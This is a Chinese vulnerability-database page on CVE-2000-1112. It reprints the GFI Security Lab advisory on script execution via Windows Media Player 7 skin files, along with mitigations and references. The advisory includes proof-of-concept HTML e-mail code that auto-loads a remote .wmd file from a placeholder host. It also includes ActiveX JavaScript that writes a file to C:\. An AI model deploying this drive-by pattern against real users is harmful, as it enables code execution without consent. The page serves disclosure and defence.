Microsoft Windows Media Player权限许可和访问控制漏洞-安全小百科

Microsoft Windows Media Player权限许可和访问控制漏洞

漏洞ID	1106096	漏洞类型	未知
发布时间	2000-11-22	更新时间	2005-10-12
CVE编号	CVE-2000-1112	CNNVD-ID	CNNVD-200101-032
漏洞平台	Windows	CVSS评分	4.6

|漏洞来源

https://www.exploit-db.com/exploits/20424
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200101-032

|漏洞详情

MicrosoftWindowsMediaPlayer7版本执行skin(.WMS)文件脚本。远程攻击者可以借助包含恶意脚本的skin提升特权，也称为”.WMSScriptExecution”漏洞。

|漏洞EXP

----[Title: 

[ GFISEC23112000 ]   Microsoft Media Player 7 allows executation of
Arbitrary Code




----[Published: 

23.NOV.2000


----[Vendor Status:

Microsoft has been informed and we have worked with them to release
a patch.



----[Systems Affected: 


Windows ME (WMP7 is installed by default)
and 95,98 NT and 2000, using:

   * Windows Media Player 7

    and

   * Internet Explorer 3+,

   * Outlook Express 2000,

   * Outlook Express 98,

   * Outlook 2000,

   * Outlook 98

   * possibly all other HTML and/or 
    javascript enabled e-mail clients.



----[The problem:


GFI, developer of email content checking & network
security software, has recently discovered a security flaw
within Windows Media Player which allows a malicious user
to run arbitary code on a target machine as it attempts to
view a website or an HTML E-mail. 


The problem is exploited by embedding a javascript (.js) file within a
Media Player skin file (.wmz) which can also be embeded in a Windows Media 
Download file (.wmd). This does not require the user to run any attachments 
since the Media Player file is automatically executed using a iframe tag 
or a window.open() with in a <script> tag.



----[Proof of concept Exploit:

<Embedded within an HTML file or e-mail>

E-mail Example 1.

<head>
<script language="JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
  alert('This exploit will now open a new windown
  and automatically download the wmd filen 
  and execute it. This will create a file namedn 
  gfiseclab.txt in your C:\');
  window.open(theURL,winName,features);
}
//-->
</script>
</head>

<body bgcolor="#FFFFFF"  

onLoad="MM_openBrWindow('http://website/test.wmd','','width=0,height=0')">
</Embedded within an HTML e-mail>



E-mail Example 2.

<html>
<body>
<script>  
alert('This exploit will now open a new window n and automatically download
the wmd file n  

and execute it. This will create a file named n gfiseclab.txt in your
C:\')</script>
<iframe src="http://website/test.wmd";></iframe></body>
</html>

-------------------------------------



test.wmd is a compressed zip file which contains the following files:

 * test.asx: meta file which points to an mpg file and 
     the exploit skin file

 * test.mpg: an example mpeg movie.

 * test.wmz: the exploit skin file.



test.wmz is also a compressed zip file containing:

 * test.js: our javascript which contains the following code
   ************************************
   var fso, f1;
   fso = new ActiveXObject("Scripting.FileSystemObject");
   f1 = fso.CreateTextFile("C:\gfiseclab.txt", true);
   
   function onload(){
   playAgain();
   }
   ************************************

 * test.wms: another metafile which calls test.js

-------------------------------------


----[Solution:

For e-mail the best solution is to apply filtering on incoming e-mails via 
the SMTP server to filter WMD and WMZ files, disable javascript iframe tags,

meta refresh tags and possibly ActiveX tags. This means that users should 
not worry about receiving malicious email and spreading worms etc.


Consider unregistering .wmd and .wmz so from being associated with Media 
Player 7 until a vendor patch is applied. Procedure:

In Windows Explorer click on View>Options>File Types and delete the 
following entries:


* Windows Media Player Skin Package.

* Windows Media Player Download Package.



This should provide some better protection.



----[Reference:

http://www.gfi.com/press/memp7exploitpr.htm
http://www.microsoft.com/technet/security/bulletin/MS00-090.asp



----[Contact Information:

Sandro Gauci
GFI Security Lab
sandro@xxxxxxx
http://www.gfi.com






source: http://www.securityfocus.com/bid/1976/info

Windows Media Player is an application used for digital audio, and video content viewing.

It is possible for a user running Windows Media Player 7 to enable a skin (.wms) file and unknowingly execute an embedded malicious script. When a user attempts to retrieve a skin (.wms) file it is downloaded and resides on the user's local machine. If Windows Media Player is run with the malicious skin enabled, the Active X component would allow any arbitrary action to be achieved. Depending on internet security settings this vulnerability is also exploitable if the skin file in question resides on a web site. The script could automatically launch when a user visits the web site.

Execution of arbitrary scripts could make it possible for the malicious host to gain rights equivalent to those of the current user.

|参考资料

来源:BID
名称:1976
链接:http://www.securityfocus.com/bid/1976
来源:MS
名称:MS00-090
链接:http://www.microsoft.com/technet/security/bulletin/MS00-090.asp
来源:XF
名称:mediaplayer-wms-script-exe
链接:http://xforce.iss.net/static/5575.php

相关推荐: SCO OpenServer MMDF包 sendmail权限许可和访问控制漏洞

SCO OpenServer MMDF包 sendmail权限许可和访问控制漏洞漏洞ID 1205426 漏洞类型缓冲区溢出发布时间 2001-08-22 更新时间 2001-08-22 CVE编号 CVE-2001-0588 CNNVD-ID CNNV…

文章版权归作者所有，未经允许请勿转载。

THE END